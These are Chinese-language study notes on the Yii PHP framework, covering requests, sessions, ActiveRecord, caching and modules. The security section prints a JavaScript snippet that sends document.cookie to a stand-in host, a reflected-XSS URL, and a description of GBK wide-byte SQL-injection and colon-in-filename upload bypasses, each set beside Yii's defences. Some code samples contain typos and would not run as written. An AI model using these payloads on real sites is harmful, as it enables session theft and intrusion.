Yii框架学习笔记
Yii框架部分笔记内容整理。
Yii
-----------------yii基础篇-------------------------
快速、安全、稳定
requirements.php检测系统环境
cookieValidationKey防止cookie攻击
命名空间 使用不同命名空间,避免类的重定义
r路由地址中的字母必须小写,r=Index/index 404
------
接收请求
$request = \Yii::$app->request;
echo $request->get('id',0);
if($request->isPost){
echo $request->userIP;
}
//操作响应信息
$response = \Yii::$app->response;
$response->statusCode = '404';
$response->headers->add('pragma','no-cache');
$response->headers->set('pragma','max-age=5');
$response->headers->remove('pragma');
//跳转
$response->statusCode = '302';
$response->header->add('location','http://www.baidu.com');
//$this->redirect('http://www.baidu.com',302);
//文件下载
$response->headers->add('content-disposition','attachment; filename="a.jpg"');
//$response->sendFile('./robots.txt');
------------session
//session继承ArrayAccess,凡是继承了ArrayAccess的都可以当作对象或数组来处理。
$session = \Yii::$app->session;
$session->open();
if($session->isActive){
echo 'session is active';
}
$session->set('user','zhangsan');
echo $session->get('user');
$session->remove('user');
$session['user'] = 'zhangsan';
echo $session['user'];
unset($session['user']);
---------------cookie
//浏览器响应的时候添加cookie,请求的时候获取cookie
//添加cookie
$cookies = \Yii::$app->response->cookies;
$cookie_data = ['name'=>'user','value'=>'zhangsan'];
$cookies->add(new Cookie($cookie_data));
//删除cookie
$cookies->remove('user');
//获取cookie
$cookies = \Yii:$app->request->cookies;
$cookies->getValue('user',DefaultNullValue);
-----------视图
return $this->render();
return $this->renderPartial(); //基类Controller中的方法
//视图数据传递
$str = 'hello';
$arr = [1,2];
$data = [];
$data = ['str'=>$str, 'arr'=>$arr];
return $this->renderPartial('index', $data);
index.php
<?=$str?>
<?=$arr[0]?>
//数据安全
use yii\helpers\Html;
use yii\helpers\HtmlPurifier;
<?= echo Html::encode($str);?> //实体化
<?= echo HtmlPurifier::process($str);?> //过滤标签
//视图布局文件
public $layout = 'main';
main.php
...
<?=$content?>
...
//视图中显示另一个模版文件
index.php 传递参数
<?php echo $this->render('about',array('str'=>'hello')) ?>
about.php
<?=$str?>
//数据块
//想要替换布局文件中某一部分内容,不同页面展示不同信息
index.php
<?php $this->beginBlock('block'); ?>
content
<?php $this->endBlock(); ?>
main.php布局文件
<?php if(isset($this->blocks['block'])): ?>
<?=$this->blocks['block']?>
<?php else: ?>
default content
<?php endif; ?>
----------------------数据库
配置文件位置 config/db.php
advanced版本的在common/main-local.php
//数据模型活动记录创建
namespace app\models;
use yii\db\ActiveRecord;
class Test extends ActiveRecord{
}
//test跟数据的表名要一致,如果不一致则要定义
public static function tableName(){
return 'ic_table';
}
//数据模型 单表查询
$sql = 'select * from test where id=1';
$res = Test::findBySql($sql)->all();
//使用占位符尽量避免sql注入
$sql = 'select * from test where id=:id';
$res = Test::findBySql($sql,[':id'=>'1 or 1=1'])->all();
//id=1
$res = Test::find()->where(['id'=>1])->all();
//id>0
$res = Test::find()->where(['>','id',0])->all();
//id>=1 & id<=2
$res = Test::find()->where(['between','id',1,2])->all();
//like
$res = Test::find()->where(['like','title','hello']);
//查询结果转化为数组
$res = Test::find()->where(['between','id',1,3])->asArray()->all();
//批量查询 缓解内存压力
foreach(Test::find()->batch(10) as $test){
print_r(count($test));
}
//model删除数据
$res = Test::find()->where(['id'=>1])->all();
$res[0]->delete;
//deleteAll传入条件
Test::deleteAll('id>:id',[':id'=>0]);
//model添加数据
//model中对数据进行验证
pulic function rules(){
return [
['id','integer'],
['title','string','length'=>[0,5]]
];
}
//controller添加数据
$test = new Test;
$test->id = 4;
$test->title = 'title4';
$test->validate();
if($test->hasErrors()){
echo 'data is error';
die;
}
$test->save();
//数据修改
$test = Test::find()->where(['id'=>4])->one();
$test->title = 4;
$test->save();
//数据模型 关联查询
一对多: return $this->hasMany(Model::className(), ['key' => 'primary key'])->asArray();
多对一或一对一: return $this->hasOne(Model::className(), ['key' => 'primary key])->asArray();
//根据顾客查询他的所有订单
$customer = Customer::find()->where(['name'=>'zhangsan'])->one();
$orders = $customer->hasMany(Order::className(), ['customer_id'=>'id'])->asArray()->all();
//model中写入函数查询
//$orders = $customer->getOrders;
$orders = $customer->orders;
//由于model中存中_get(),可以直接调整$Model->XXXX;相当于执行了$Model->getXXXX()->all/one(), 方法会根据hasMany/hasOne自动补上all/one();
//根据订单查询客户信息
$order = Order::find()->where(['id'=>1])->one();
$customer = $order->customer;
//此时模型中需要定义方法getCustomer方法
Order.php
public functino getCustomer(){
return $this->hasOne(Customer::className(),['id'=>'customer_id'])->asArray();
}
//数据模型关联查询性能问题
//关联查询结果缓存
$customer = Customer::find()->where(['name'=>'zhangsan'])->one();
$order = $customer->orders;
unset($customer->orders); //清除缓存
$order2 = $coustomer->orders;
//关联查询的多次查询
// select * from customer
// select * from orders where customer id in(...) //使用with后生成一条查询语句,而不是重复执行
$customers = Customer::find()->with('orders')->all();
foreach($customers as $customer){
$orders = $customer->orders;//select * from order where customer_id=...
}
-----------------yii高效篇-------------------------
延迟加载
缓存
gii快速开发工具
//类的延迟加载
//一个文件中同时加载2个类,在一定条件下只能使用其中一个,则同时加载两个就是对资源的浪费。此时可以考虑判断加载
if(true){
require 'class1.php';
}else{
require 'class2.php';
}
自动加载机制
function my_loader($class){
require('class\\'.$class.'.php')
}
spl_autoload_register('my_loader');
//类的映射表机制 使用类的映射表语句加快类的加载速度
HelloController.php
public function actionIndex(){
\Yii::$classMap['app\models\Order'] = 'd:\www\basic\models\Order.php';
$order = new Order;
}
//可以通过Yii::$classMap对延迟加载机制进行优化,是典型的空间换时间的做法,所以不建议往classMap中放入太多不常用的内容,避免内存占用过多
//组件的延迟加载
//组件的延迟加载本质上是通过魔术方法__get()做到的。index.php请求交给应用主体后,应用主题实例化后会加载一系列的组件,如session,response等,应用主体并不会直接加载,而是会交给控制器使用时才被加载进来。
$session = \Yii::$app->session();
//数据缓存
//获取缓存组件
$cache = \Yii::$app->cache;
//write
$cache->add('key1','hello key1');
$cache->add('key2','hello key2',15);//缓存15秒
//read
$data = $cache->get('key1');
//update
$cache->set('key1','hello new key');
//delete
$cache->delete('key1');
//清空数据
$chache->flush();
//数据缓存 依赖关系 文件依赖 表达式依赖 db依赖
$cache = \Yii::$app->cache;
//文件依赖
$dependency = new \yii\caching\FileDependency(['filename'=>'ic.txt']);
$cache->add('file_key','hello world',3000,$dependency);
//表达式依赖
$dependency = new \yii\caching\ExpressionDependency(
['expression'=> '\Yii::$app->request->get('name')]
);
//依赖get参数
//DB依赖
$dependency = new \yii\caching\DbDependency(
['sql'=>'select count(*) from yii.order']
);
//片段缓存介绍
index.php
<?php if($this->beginCache('cache_div')){ ?>
<div id="cache_div">
这里会被缓存
</div>
<?php $this->endCache(); } ?>
<div id="no_cache_div">
不会被缓存
</div>
//片段缓存设置
//缓存时间
$duration = 15;
//缓存依赖
$dependency = [
'class' => 'yii\caching\FileDependency',
'filename' => 'ic.txt'
]
//缓存开关
$enabled = true;
$this->beginCache('cache_div',['enabled'=>$enabled])
//缓存嵌套 主要依赖外层时效
<?php if($this->beginCache('cache_outer_div',['duration'=>20])){ ?>
<div id="cache_outer_div">
waiceng
<?php if($this->beginCache('cache_inner_div',['duration'=>5])){ ?>
<div id="cache_inner_div">
neiceng
</div>
<?php $this->endCache(); } ?>
</div>
<?php $this->endCache(); } ?>
//页面缓存
//控制器中behaviors方法中最先被执行
public function behaviors(){
return [
[
'class' => 'yii\filters\PageCache',
'duration' => 1000,
'only' => ['index,hello'],
'dependency' => [
'class' => 'yii\caching\FileDependency',
'fileName' => 'ic.txt'
]
]
];
}
//http缓存
依据last_modify 和 etag 来判断是否被真正修改,未修改则返回304
//http缓存位置 缓存时机
public function behaviors(){
return [
[
'class' => 'yii\filter\HttpCache',
'lastModified'=>function(){
return 1433333333;
},
'etagSeed'=>function(){
return 'etag';
}
]
];
}
//使用HttpCache后,会增加Cache-Control last-modified
public function behaviors(){
return [
[
'class' => 'yii\filter\HttpCache',
'lastModified'=>function(){
return filemtime('robots.txt');
},
'etagSeed'=>function(){
$fp = fopen('robots.txt','r');
$title = fgets($fp); //fgets() 函数从文件指针中读取一行。
fclose($fp);
return $title;
}
]
];
}
-----------------------gii
rules 进行字段的约束
public function rules(){
return [
[['title'],'required'],
[[title],'string','max'=>200]
]
}
attributeLabels 返回数据库字段 注释
//为rules提供数据返回错误信息 表单操作时提示输入内容
public function attributeLabels(){
return [
'id'=>'ID',
'title'=>'请输入标题',
]
}
//tablePrefix = 'ic_'
-------------------------------
-----------------yii安全篇-------------------------
攻击方式:XSS CSRF SQL注入 文件上传漏洞
XSS攻击:cross site scripting
盗号、转账、篡改、挂马
XSS盗号代码
var cookies = document.cookie;
window.location.href="http://www.xx.com/index.php?cookie="+cookie;
标记httponly阻止js读取cookie
XSS攻击转账代码
document.getElementById('key').value = "xx@taobao.com";
...
反射型xss
xx.com/index.php?r=index/index&name=<script>alert(4)</script>
现代浏览器对于xss有一定防护,Yii关闭:\Yii::$app->response->headers->add('X-XSS-Protection','0');
URL编码,控制台:escape(str)
XSS可以通过img标签注入,引发错误触发onerror将js代码注入到onerror中
YII狂降防范xss,Html::encode($str) == htmlspecialchars($str)
\Yii\helpers\HtmlPurifier::process($js); 过滤
------------------------------------CSRF攻击
get型:构造url,诱使用户点击
post型:在用户已登录的情况下,伪造表单,生成链接诱使用户点击,从而盗取用户身份进行操作(发帖、评论、转账等)
csrf攻击防范:
验证码
referer头
token
Yii框架防范csrf攻击
提交表单添加 hidden name:_csrf value:{$csrfToken}
控制器:$csrfToken = \Yii::$app->request->csrfToken;
----------------------sql注入
绕过转义
char(0xdf)/'在utf8下会编程β/',而gbk下由于汉字是2个字节组成,在数据中将变成運',单引号逃过了被转义。
Yii框架使用占位符
db.php 将emulatePrepare 设为false,目的是由数据库对字符串进行转义操作,阻止sql注入
--------------------文件上传漏洞
上传文件数据时,请求数据可以在出发前被拦截并篡改
content-type可被修改, 文件名中加入:,可以通过后缀名验证,
并使move_uploaded_file执行时丢弃:之后的部分,使上传文件变成可执行的php
若上传文件没被重命名或重命名后的名字被发现,则可使文件可被任意执行
处理方式:严格检查文件,禁止出现":", 重命名文件,禁止目录列出文件,取消上传目录文件的执行权限
---------------------------Yii扩展篇--------------------------
Yii框架扩展性:
模块化、事件机制、mixin(混合、多重继承)、依赖注入
Yii框架模块化-----------------------
父级模块化
通过gii的modules生成对应的子模块
然后修改web.php,添加配置信息
'modules'=>['article'=>'app/modules/article/Article']
2级模块化
通过gii继续生成子模块,修改配置文件:
在actionInit中添加如下信息
public $controllerNamespace = 'app\modules\article\controllers';
public function init(){
parent::init();
$this->modules = [
'category'=>[
'class'=>'app/modules/article/modules/test/Test'
],
];
}
访问方式,如:index.php?r=article/test/default/index
父模块调用子模块方法
$module = \Yii::$app->getModule('module_name');
$action = $module->runAction('default/index',['params'=>$params]);